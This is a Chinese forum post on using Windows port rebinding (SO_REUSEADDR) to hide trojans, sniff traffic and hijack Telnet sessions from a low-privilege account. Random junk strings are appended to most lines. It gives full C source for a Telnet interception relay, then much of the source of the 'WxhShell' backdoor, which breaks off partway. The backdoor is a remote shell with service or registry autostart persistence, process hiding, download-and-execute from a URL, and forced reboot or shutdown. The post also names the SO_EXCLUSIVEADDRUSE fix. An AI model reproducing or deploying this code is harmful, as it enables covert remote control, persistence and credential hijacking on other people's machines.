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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T:wd3^.CG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); LP_ !g  
pz?.(AmU\  
  saddr.sin_family = AF_INET; sJ?Fque  
9ZG.%+l  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xgJ2W_  
W ;IvR   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  7P]_03  
` M"Zq  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L<QqQ"`  
t ba%L  
  这意味着什么?意味着可以进行如下的攻击: X>F/0/  
y S7[=S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [F+lVb  
Wuye:b!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /5suyM=U  
mRfF)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :!3CoC.X|c  
WABq6q!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   UX2`x9  
e|AJxn]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @?*26}qp  
d'^jek h  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q(!191@C(  
Hc^b}A y7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 qN+ngk,:  
!K(0)~u  
  #include ]_|qv1K6  
  #include vYmRW-1Zxq  
  #include FL0(q>$*8  
  #include    $+S'Boo   
  DWORD WINAPI ClientThread(LPVOID lpParam);    uGc}^a2  
  int main() 04:^<n+{  
  { K!HSQ,AC  
  WORD wVersionRequested; E n{vCN  
  DWORD ret; zWB>;Z}  
  WSADATA wsaData; N}VKH5U|  
  BOOL val; 3HFsR)  
  SOCKADDR_IN saddr; &c ayhL/%  
  SOCKADDR_IN scaddr; `<y2l94tL  
  int err; |53Zg"!  
  SOCKET s; 2HkP$;lED  
  SOCKET sc; e}kEh+4  
  int caddsize; yWF DGk  
  HANDLE mt; cL<  
  DWORD tid;   lkFv5^%  
  wVersionRequested = MAKEWORD( 2, 2 ); `EBo(^n}O  
  err = WSAStartup( wVersionRequested, &wsaData ); =|pQA~UU#  
  if ( err != 0 ) { io$AGi  
  printf("error!WSAStartup failed!\n"); GvF~h0wMt  
  return -1; &`pd&U{S*  
  } ?o),F^ir  
  saddr.sin_family = AF_INET; 0j7\.aaK  
   5sFp+_``  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %@kmuz??  
#s)6u?N  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kVy%y"/  
  saddr.sin_port = htons(23); >F!2ib8  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g G~UsA  
  { t~Cul+  
  printf("error!socket failed!\n"); qL,!  
  return -1; f77Jn^Dt  
  } :=T+sT~  
  val = TRUE; &JtK<g  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4mQ:i7~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 29 Yg>R!/  
  { ^yu0Veypy  
  printf("error!setsockopt failed!\n"); ~H7m7  
  return -1; .1[K\t)2  
  } (.m0hN!~u  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m:)v>vu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 DZilK:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 # x!47Y{  
R4]t D|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yFH)PQ_  
  { &#w] 2~|  
  ret=GetLastError(); LylB3BM  
  printf("error!bind failed!\n"); 2"c $#N  
  return -1; kDS4 t?Ig  
  } sD_Z`1  
  listen(s,2); nRPy)L{  
  while(1) f,k'gM{K  
  { %'%ej^s-R  
  caddsize = sizeof(scaddr); 75jq+O_:  
  //接受连接请求 +I;b,p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); :hwZz2Dhi  
  if(sc!=INVALID_SOCKET) ]06LNE  
  { i~MCY.F  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); M`9qo8zCi  
  if(mt==NULL) 0.~QA+BD:S  
  { r-9P&*1  
  printf("Thread Creat Failed!\n"); uv/I`[@HK8  
  break; F(Pe@ #)A  
  } Jj8z~3XnJ  
  } im Zi7o  
  CloseHandle(mt); 3uZY.H+H  
  } 1*Yf[;L  
  closesocket(s); |Eu_K`  
  WSACleanup(); bT|a]b:  
  return 0; /![S 3Ol  
  }   [YpSmEn}Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) 6p1\#6#@  
  { S>/p6}3]  
  SOCKET ss = (SOCKET)lpParam; M-e!F+d{od  
  SOCKET sc; ^}8(o  
  unsigned char buf[4096]; .a8N 5{`  
  SOCKADDR_IN saddr; 8 T):b2h  
  long num; F@& R"-  
  DWORD val; 'u@ )F`  
  DWORD ret; (vB aem9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 q?nXhUD  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [}9sq+##  
  saddr.sin_family = AF_INET; \ ExM.T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E5~HH($b  
  saddr.sin_port = htons(23); j#f+0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C\ZL*,%}  
  { xdd7OSc0{  
  printf("error!socket failed!\n"); 0~iC#lHO  
  return -1; }/nbv;)  
  } X};m\Bz  
  val = 100; me_DONW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j&6,%s-M`a  
  { GvF8S MO[x  
  ret = GetLastError(); '_lyoVP  
  return -1; zH0%; o}  
  } [ >O4hifq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >XcbNZV  
  { "o 2p|2c  
  ret = GetLastError(); GpMKOjVm|  
  return -1; o]t6u .L  
  } HgvgO\`]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 0&mo1 k_U  
  { @zL)R b%P$  
  printf("error!socket connect failed!\n"); %0fF_OU  
  closesocket(sc); r Lg(J|^  
  closesocket(ss); Dd-;;Y1C  
  return -1; Nwr.mtvh  
  } :3^b>(W.  
  while(1) 11glFe  
  { \V  /s  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 p(QB5at  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 EgOAEv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A[oLV"J6x5  
  num = recv(ss,buf,4096,0); X6kB R  
  if(num>0) rbiNp6AdL  
  send(sc,buf,num,0); |s-q+q{|  
  else if(num==0) r(y1^S9!8  
  break; !rZO~a0  
  num = recv(sc,buf,4096,0); es]\ xw  
  if(num>0) +0rMv  
  send(ss,buf,num,0); T]Gxf"mK  
  else if(num==0) dIQ7u  
  break; XKp.]c wP  
  } "u~l+aW0  
  closesocket(ss); %jdV8D#Q  
  closesocket(sc); >ygyPl ;1s  
  return 0 ; r(h&=&T6  
  } .;yy= Rj  
d)1)/Emyj  
O<Qa1Ow7f  
==========================================================  7?-eR-  
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下边附上一个代码,,WXhSHELL \HLI y  
5LbU'5  
========================================================== !sQ$a#Ea  
)SQ*"X4"  
#include "stdafx.h" _IuEa\>  
}YW0?-G.$  
#include <stdio.h> /e1m1B  
#include <string.h> gP"p7\ (  
#include <windows.h> )f1<-a"D|  
#include <winsock2.h> %^n9Z /I  
#include <winsvc.h> @[#U_T- I  
#include <urlmon.h> ;>QED  
@[u!  
#pragma comment (lib, "Ws2_32.lib") <h^'x7PkW5  
#pragma comment (lib, "urlmon.lib") VgtW T`F.I  
%;yDiQ!+  
#define MAX_USER   100 // 最大客户端连接数 DeE-M"  
#define BUF_SOCK   200 // sock buffer %lNv?sWb  
#define KEY_BUFF   255 // 输入 buffer s `HSTq2  
E/|]xKG  
#define REBOOT     0   // 重启 5tT-[mQ*  
#define SHUTDOWN   1   // 关机 agQzA/Xt  
0L"CM?C  
#define DEF_PORT   5000 // 监听端口 j!q5Bc?  
ZHUA M59bx  
#define REG_LEN     16   // 注册表键长度 qg#TE-Y`  
#define SVC_LEN     80   // NT服务名长度 f ZL%H0&  
x|i"x+o  
// 从dll定义API Qmle0ae  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Uhfm@1 cz&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'bGL@H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i#$9>X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -FytkM^]6  
+ 5H9mk  
// wxhshell配置信息 sUN>uroi !  
struct WSCFG { NsJt=~  
  int ws_port;         // 监听端口 $gT+Ue|7  
  char ws_passstr[REG_LEN]; // 口令 I'2:>44>I6  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z m9 e|J  
  char ws_regname[REG_LEN]; // 注册表键名 :LBG6J  
  char ws_svcname[REG_LEN]; // 服务名 lS]<~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2|@@xF  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fI>>w)5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /tl/%:U*.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s, m+q)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Yq}7x1mm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [H;HrwM s)  
JIvVbI  
}; QLH&WF  
-Bbg'=QZa  
// default Wxhshell configuration t5mI)u  
struct WSCFG wscfg={DEF_PORT, vK6YU9W~J  
    "xuhuanlingzhe", .Gq.st%  
    1, Os^sOOSY  
    "Wxhshell", vzK*1R5  
    "Wxhshell", 9)0AwLlv  
            "WxhShell Service", : Q X~bq  
    "Wrsky Windows CmdShell Service", `fh^[Q|4n0  
    "Please Input Your Password: ", ^I3cU'X  
  1, ,Q4U<`ds!  
  "http://www.wrsky.com/wxhshell.exe", 7)$U>|=  
  "Wxhshell.exe" KY H*5  
    }; Vd3'dq8/?  
l%\3'N]  
// 消息定义模块 8v@6 &ras@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; B3K!>lz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q9.)p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; IGv_s+O-*  
char *msg_ws_ext="\n\rExit."; /]"&E"X"  
char *msg_ws_end="\n\rQuit."; >JwdVy^  
char *msg_ws_boot="\n\rReboot..."; r@FdxsCnGM  
char *msg_ws_poff="\n\rShutdown..."; H`q" _p:  
char *msg_ws_down="\n\rSave to "; 9 tkj:8_  
&?>h#H222  
char *msg_ws_err="\n\rErr!"; K];nM}<  
char *msg_ws_ok="\n\rOK!"; r) Ts(#Z  
}Uki)3(  
char ExeFile[MAX_PATH]; sv\'XarM  
int nUser = 0; |0FRKD]  
HANDLE handles[MAX_USER]; v#&r3ZW0  
int OsIsNt; _ _cJ+%e  
]#R'hL%f  
SERVICE_STATUS       serviceStatus; ?g| K"P<1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v{`Z  
WsRG>w3"  
// 函数声明 6l&m+!i  
int Install(void); & i"33.#]  
int Uninstall(void); jUtrFl  
int DownloadFile(char *sURL, SOCKET wsh); 16/+ O$#y  
int Boot(int flag); 9 \i;zpN\  
void HideProc(void); q"ba~@<BEl  
int GetOsVer(void); KK4>8zGR  
int Wxhshell(SOCKET wsl); 1rh\X[@  
void TalkWithClient(void *cs); Onb*nm  
int CmdShell(SOCKET sock);  hh<5?1  
int StartFromService(void); {dvrj<?  
int StartWxhshell(LPSTR lpCmdLine); p 7IJ3YY  
loN!&YceW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1)(p=<$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); z1}YoCj1  
%HSS x+2oR  
// 数据结构和表定义 iz]Vb{5n%  
SERVICE_TABLE_ENTRY DispatchTable[] = @QI]P{   
{ fl _k5Q'&p  
{wscfg.ws_svcname, NTServiceMain}, hnZI{2XzBE  
{NULL, NULL} c'OJodpa  
}; -v?,{?$0  
J7$1+|"  
// 自我安装 N[X%tf\L]F  
int Install(void) rg+28tlDn  
{ nR4L4tdS  
  char svExeFile[MAX_PATH]; GjZ@f nF  
  HKEY key; VaC#9Tp2X  
  strcpy(svExeFile,ExeFile); "wL~E Si  
A[J9v{bD  
// 如果是win9x系统,修改注册表设为自启动 G~_5E]8  
if(!OsIsNt) { HVz-i{M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F48:mfj1r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FQNhn+A  
  RegCloseKey(key); zMs]9o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { g`)3m,\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ht+ng  
  RegCloseKey(key); jENarB^As  
  return 0; !+& NG&1  
    } h95C4jBE  
  } o_/C9[:  
} SF+ ^dPwj  
else { ka{9{/dz3  
"L@qjSs8  
// 如果是NT以上系统,安装为系统服务 3~6F`G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;=: R|  
if (schSCManager!=0) *E0+!  
{ hR b k-b  
  SC_HANDLE schService = CreateService x={t}qDS8  
  ( /- z_"G  
  schSCManager, !_E E|#`n  
  wscfg.ws_svcname, Le9r7O:  
  wscfg.ws_svcdisp, 1~8F&  
  SERVICE_ALL_ACCESS, z   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _/ j44q  
  SERVICE_AUTO_START, 5Zs"CDU  
  SERVICE_ERROR_NORMAL, 8B;`9?CI  
  svExeFile, \<|a>{`7]i  
  NULL, (ii 5pnq  
  NULL, }#z E`IT  
  NULL, nQK@Uy5Yr  
  NULL, ;hF>iw  
  NULL B) &BqZ&  
  ); u~<>jAy  
  if (schService!=0) HP|,AmVLl  
  { =sRd5aMs  
  CloseServiceHandle(schService); qTC`[l  
  CloseServiceHandle(schSCManager); E#Ynn6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i_g="^  
  strcat(svExeFile,wscfg.ws_svcname); S$W *i@x?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { RL~|Kr<7J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %8`zaa  
  RegCloseKey(key); 95(c{ l/  
  return 0; GiHJr1  
    } JiZ9ly( G  
  } ;nLQ?eS\  
  CloseServiceHandle(schSCManager); Z]$yuM  
} !? ?Cxs'  
} lnbw-IE!  
:d/Z&LXD  
return 1; Fdd$Bl.&XS  
} 8"wA8l.  
H(Mlf  
// 自我卸载 iJ42` 51  
int Uninstall(void) tnqW!F~  
{ hw_7N)}  
  HKEY key; ./kmI#gaV  
>IfJ.g"  
if(!OsIsNt) { h 7kyz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Wr`=P,  
  RegDeleteValue(key,wscfg.ws_regname); d|on y  
  RegCloseKey(key); :*t v`:;p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [=e61Z  
  RegDeleteValue(key,wscfg.ws_regname); [#j|TBMHM  
  RegCloseKey(key); ig; ~ T  
  return 0; ,!kyrk6  
  } [rTV)JsTb  
} i3: sV5  
} 9^0 'VRG  
else { @l"GfDf L9  
JC{}iG6r+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kSU*d/}*u  
if (schSCManager!=0) h1fJ`WT6,  
{ r-]R4#z>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @`}'P115@  
  if (schService!=0) M(Jf&h4b  
  { DBCL+QHA  
  if(DeleteService(schService)!=0) { qfC9 {gu  
  CloseServiceHandle(schService); 0J$wX yh  
  CloseServiceHandle(schSCManager); 4}580mBc  
  return 0; 1>a^Q  
  } ;}f%bE  
  CloseServiceHandle(schService); -2> L*"^  
  } Uo^s]H#:  
  CloseServiceHandle(schSCManager); kKE 2~ q  
} j])iyn~-Ke  
} Iay7Fkv  
,-] JCcH  
return 1; ./#K@V1  
} Y+/ofk "  
v8*ZwF  
// 从指定url下载文件 ~l6e&J  
int DownloadFile(char *sURL, SOCKET wsh) U@& <5'  
{ -rH4/Iby  
  HRESULT hr; <py~(q  
char seps[]= "/"; 2yq.<Wz<  
char *token; ui9gt"qS`  
char *file; 8H;TPa  
char myURL[MAX_PATH]; 'U1r}.+b>  
char myFILE[MAX_PATH]; wO8^|Yf  
<@*mFq0,  
strcpy(myURL,sURL); 9-Ib+/R0  
  token=strtok(myURL,seps); lS?f?n^  
  while(token!=NULL) ip>dHj z  
  { IZAbW  
    file=token; GmAE!+"  
  token=strtok(NULL,seps); apY m,_  
  } u8o7J(aQsR  
9\Xl 3j!  
GetCurrentDirectory(MAX_PATH,myFILE); q<hN\kBs  
strcat(myFILE, "\\"); sE/9~L  
strcat(myFILE, file); Pv1psKu  
  send(wsh,myFILE,strlen(myFILE),0); Y%=A>~s*c:  
send(wsh,"...",3,0); WR'A%"qBwi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'c &Bmd40  
  if(hr==S_OK) +bRL.xY  
return 0; =PZs'K  
else gLpWfT29V  
return 1; w_U5w  
tD4IwX  
} t9K.Jc0  
zv0RrF^  
// 系统电源模块 2tWUBt\,g  
int Boot(int flag) (O`=$e  
{ +IS$Un  
  HANDLE hToken; r<|\4zIo/  
  TOKEN_PRIVILEGES tkp; >F-J}P  
._FgQ` `PL  
  if(OsIsNt) { yaX,s 4p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /$9/,5|EA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n]j(tP  
    tkp.PrivilegeCount = 1; qtgK}*9ptv  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; B;K{Vo:C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !)\`U/.W  
if(flag==REBOOT) { xE6y9"}!h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) s?`)[K'-  
  return 0; /`s^.Xh  
} CJu;X[6  
else { jG.*tuf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O-y"]Wrv  
  return 0; }`_2fJ6  
} Q'|cOQX  
  } 6=')*_~/  
  else { L7jz^g^  
if(flag==REBOOT) { S [u <vHy  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hD$U8~zK  
  return 0;  (K?[gI  
} 3Q;^X(Ml*  
else { " 3^6  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -d[x 09  
  return 0; u8W*_;%:  
} _nRshTt`V&  
} ?%LD1 <ya  
't|F}@HP  
return 1; 6*LU+U=`  
} O]PfQ  
C$%QVcf  
// win9x进程隐藏模块 !^LvNW\|  
void HideProc(void) w{r ->Phe  
{ sO  
wR4P0 [  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z$<6;2  
  if ( hKernel != NULL ) {jc~s~<#  
  { \hq8/6=4s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q3/q%#q>  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nRo`O  
    FreeLibrary(hKernel); )RkU='lB "  
  } (dT!u8Oe  
I;|Aiu*  
return; Zk/NO^1b  
} Bdg*XfXXk  
Q O?ha'Sl  
// 获取操作系统版本 woT"9_tN  
int GetOsVer(void) \LYQZ*F  
{ Z8#I  
  OSVERSIONINFO winfo; 9D| FqU |  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2$Ji4`p}S  
  GetVersionEx(&winfo); q+:(@w6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \=_8G:1  
  return 1; jQr~@15J#  
  else M!hby31  
  return 0; .{;!bw  
} (gf\VYM-7  
S]o  
// 客户端句柄模块 2%<jYm#'z-  
int Wxhshell(SOCKET wsl) !Q3Snu=  
{ w2,T.3DT  
  SOCKET wsh; 3D.S[^s*  
  struct sockaddr_in client; e-')SB  
  DWORD myID; "@?|Vv,vn  
X|QCa@Foe  
  while(nUser<MAX_USER) _l,Z38  
{ 8k1 r|s@d  
  int nSize=sizeof(client); =5/;h+bk+3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d-<y'GYw  
  if(wsh==INVALID_SOCKET) return 1; h.9Lh ;j  
oe*&w9Y}&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); yki k4MeB  
if(handles[nUser]==0) ^sOm7S{  
  closesocket(wsh); Fp6Y Y  
else {l11WiqQH  
  nUser++; =zjUd  5  
  } YKg[k:F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RsD`9>6)  
t(Zs*c(  
  return 0; 9v F2aLPk  
} JAb?u.,Ns_  
PM.SEzhm  
// 关闭 socket p<zXuocQ  
void CloseIt(SOCKET wsh) cGc|n3(  
{ LJ/qF0L!H  
closesocket(wsh); _tReZ(Vw  
nUser--; ]18ygqt  
ExitThread(0); pu:D/2R2;k  
} 1a$V{Eag  
5y3TlR  
// 客户端请求句柄 Crhi+D  
void TalkWithClient(void *cs) Xe SbA  
{ ?R]y}6 P$  
ye|a#a9N  
  SOCKET wsh=(SOCKET)cs; oyt//SE  
  char pwd[SVC_LEN]; {~^)-^Wt:  
  char cmd[KEY_BUFF]; G; [A Q:Iy  
char chr[1]; UBi4itGD  
int i,j; BR^J y<^F'  
Vrj1$NL%  
  while (nUser < MAX_USER) { iW}l[g8sw!  
J=X% xb  
if(wscfg.ws_passstr) { T{<@MK%],d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <s >/< kW:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ww($0A`ek  
  //ZeroMemory(pwd,KEY_BUFF); =]QH78\3  
      i=0; -p.*<y  
  while(i<SVC_LEN) { o$ce1LO?|N  
/plUzy2Yu  
  // 设置超时 B#6pQp$  
  fd_set FdRead; n+qVT4o  
  struct timeval TimeOut; 3> #mO}\  
  FD_ZERO(&FdRead); H~|%vjH  
  FD_SET(wsh,&FdRead); j 3MciQ`  
  TimeOut.tv_sec=8; 3Y{)(%I  
  TimeOut.tv_usec=0; }utNZhJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `8(h,aj;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k9) u 3  
i6md fp|k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AM[jL'r|  
  pwd=chr[0]; %R|"Afa=  
  if(chr[0]==0xd || chr[0]==0xa) { e[QxFg0E  
  pwd=0; pf8O`e,Awf  
  break; $}nh[@  
  } '^U tbp2<  
  i++; R6Zj=l[  
    } N<06sRg#  
V(2,\+t  
  // 如果是非法用户,关闭 socket +^*5${g;@H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F@ $RV_M  
} _@!QY   
Hs%QEvZl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); < m enABN4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9Yl8n dP^E  
/S]:dDY9K  
while(1) { [vWkAJ'K  
`pi-zE)  
  ZeroMemory(cmd,KEY_BUFF); t0bhXFaiE  
*IWFeu7y  
      // 自动支持客户端 telnet标准   @0z0m;8  
  j=0; vx!::V7s6  
  while(j<KEY_BUFF) { qBy NHo7Tb  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (/U)> %n  
  cmd[j]=chr[0]; Jq$_=X&  
  if(chr[0]==0xa || chr[0]==0xd) { +YkW[a\4  
  cmd[j]=0; l Io9,Ke  
  break; VW9>xVd4  
  } UZje>. ~?  
  j++; {}_Nep/;  
    } oWp}O?  
ZU|6jI}  
  // 下载文件 dP$8JI{  
  if(strstr(cmd,"http://")) { Fm<jg}>MAd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IvTzPPP  
  if(DownloadFile(cmd,wsh)) Vvm=MBgN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); QqiJun_m  
  else VYamskK[G:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !%c{+]g  
  } K`QOU-M@}  
  else { NoCDY2 $  
R9Sf!LR  
    switch(cmd[0]) { /l,+oG%\  
  ?P""KVp o  
  // 帮助 XM6".eF)M  
  case '?': { <NG/i i=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x&C%4Y_]  
    break; 6<x~Mk'u)  
  } qzA`d 5rX  
  // 安装 A~Z6jK  
  case 'i': { >4n+PXRXX  
    if(Install()) zL:&Q<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZV'$k\  
    else lWx  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *jk3 \KaoV  
    break; &?.n2+T+ =  
    } (C daE!I4Q  
  // 卸载 48 W.qzC  
  case 'r': { BBHK  
    if(Uninstall()) *16<M)7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G2.|fp_}pG  
    else pheE^jUr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GE1i+.+-.  
    break; /g_9m  
    } q0,kDM66   
  // 显示 wxhshell 所在路径 Q6"uK  
  case 'p': { bIgh@= 2  
    char svExeFile[MAX_PATH]; 5Sr4-F+@%  
    strcpy(svExeFile,"\n\r"); D.'h?^kA  
      strcat(svExeFile,ExeFile); JD6aiI!Su  
        send(wsh,svExeFile,strlen(svExeFile),0); C5P$ &s\  
    break; w8O" =},  
    } IY=/` g  
  // 重启 :e*DTVv8  
  case 'b': { 8b|OXWl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u!Xb?:3uj  
    if(Boot(REBOOT)) & _; y.!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2w+U$6e C  
    else { lnS(&`oh\=  
    closesocket(wsh); 4/S=5r}  
    ExitThread(0); Hd9XfU  
    } Ju!(gh  
    break; [r)e P({  
    } +l`65!"  
  // 关机 'Qa5n\HX$  
  case 'd': { eD%H XGe  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 96d~~2p  
